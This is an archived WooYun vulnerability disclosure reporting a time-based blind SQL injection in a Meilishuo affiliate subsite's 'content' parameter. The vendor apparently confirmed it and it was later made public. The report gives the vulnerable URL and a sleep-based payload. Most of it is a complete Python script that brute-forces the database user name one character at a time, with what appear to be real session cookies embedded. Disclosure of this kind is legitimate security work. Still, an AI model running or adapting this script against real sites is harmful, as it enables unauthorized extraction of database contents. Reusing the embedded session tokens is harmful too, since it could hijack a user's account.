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缺陷编号:wooyun-2016-0187470

漏洞标题:美丽说某分站Time-based blind SQL注入一枚(附验证脚本)

相关厂商:美丽说

漏洞作者: 紫衣大侠

提交时间:2016-03-21 22:07

修复时间:2016-05-06 12:11

公开时间:2016-05-06 12:11

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

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漏洞详情

披露状态:

2016-03-21: 细节已通知厂商并且等待厂商处理中
2016-03-22: 厂商已经确认,细节仅向厂商公开
2016-04-01: 细节向核心白帽子及相关领域专家公开
2016-04-11: 细节向普通白帽子公开
2016-04-21: 细节向实习白帽子公开
2016-05-06: 细节向公众公开

简要描述:

美丽说某分站Time-based blind SQL注入一枚

详细说明:

问题站点:
http://lm.meilishuo.com/union/pro_manage/?sort=0&catalog=0&type=1&content=%E6%97%B6%E5%B0%9A%E8%BF%90%E5%8A%A8%E5%B0%8F%E7%99%BD%E9%9E%8B
其中content参数存在注入点:
payload:

' AND (if (1=1,sleep(5),1)) AND 'fuck'='fuck


动手写个脚本盲注:

#!/usr/bin/env/python
#-*- coding:utf-8 -*-
__author__ = 'BlackYe.'
import urllib
import urllib2
import time,sys
user_agent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36"
cookie = '''SEASHELL=CggNLVbq0albM21uBLUOAg==; PHPSESSID=b1n7el3d5pbgee9codgvkh9ti3;
shop_unlogin_gray_preview=2806; nsessid=gMRlXeLKuomzPrtu0zswg7Oi;
_pzfxuvpc=1458230279892%7C6143346960133899759%7C1%7C1458230279897%7C1%7C%7C1122013430142212671;
Hm_lvt_91f81dadcff336ae93c874de253c61ff=1458230057;
Hm_lpvt_91f81dadcff336ae93c874de253c61ff=1458230397; MEILISHUO_REFER=default;
santorini_mm=e0405ff84180864a6fc7cbe2b650fd44; CHANNEL_FROM=0; _ga=GA1.2.1052119354.1458230096;
query_param_r=welcome-main%3A_page_code%3Dwelcome-main.2_mapp-myCenter; r_mark=welcome-main%3A_page_code%3Dwelcome-main.2_mapp-myCenter;
MEILISHUO_MM=688d2bd78c48fadad4ec245ed8b9568d; pgv_pvi=6804349952; pgv_si=s9015797760; numInCart=0; MEILISHUO_GLOBAL_KEY=05e675f4bfa391113160317234814904; Hm_lvt_dde72e241ea4e39b97eca9a01eea2dda=1458230625; Hm_lpvt_dde72e241ea4e39b97eca9a01eea2dda=1458462341; MEILISHUO_RZ=1549874950; MLS_S_RZ=1549874950; MEILISHUO_UID_KEY=42451fdebdb8798eae96d0ad6c06722f; LOGON_FROM=; MEILISHUO_UNION_LOGING_USERID=516624981; Hm_lvt_6546c47dcaaac00ad0aff6b94ebe9213=1458230207; Hm_lpvt_6546c47dcaaac00ad0aff6b94ebe9213=1458552096
'''
class TimeBaseInject(object):
def __init__(self, url):
self.url = url
self.result = ''
self.payload_time = 3
def run(self):
ipos = 1
while True:
s = self.match(ipos)
result_chr = chr(s)
if result_chr == chr(32):
break
self.result = self.result + result_chr.lower()
sys.stdout.write('\r\n\r\n')
print self.result
ipos = ipos + 1
def send_inject(self, target_url):
request = urllib2.Request(target_url)
request.add_header("User-Agent", user_agent)
request.add_header("Cookie", cookie)
start_time = time.time()
try:
urllib2.urlopen(request).read()
return self.is_returnok(start_time)
except Exception,e:
print str(e)
return False
def match(self, ipos):
sys.stdout.write("[CrackING]")
for i in range(0,127):
payload = "' AND (if (substr(user(), %d ,1)='%s', sleep(%d), 1)) AND 'fuck'='fuck" % (ipos, chr(i),self.payload_time)
#print payload
sys.stdout.write(".")
sys.stdout.flush()
target_url = self.url + urllib.quote(payload)
if self.send_inject(target_url):
return i
def is_returnok(self, start_time):
return (time.time() - start_time) >= self.payload_time
def main():
url = 'http://lm.meilishuo.com/union/pro_manage/?sort=0&catalog=0&type=1&content=%E6%97%B6%E5%B0%9A%E8%BF%90%E5%8A%A8%E5%B0%8F%E7%99%BD%E9%9E%8B'
s = TimeBaseInject(url)
s.run()
if __name__ == '__main__':main()


Current DB user:

[email protected]


xxx.png


漏洞证明:

xxx.png

修复方案:

过滤或转义~~~

版权声明:转载请注明来源 紫衣大侠@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2016-03-22 12:11

厂商回复:

非常感谢您对美丽说安全的关注,经验证该漏洞真实存在,已联系相关同学修复,谢谢!

最新状态:

暂无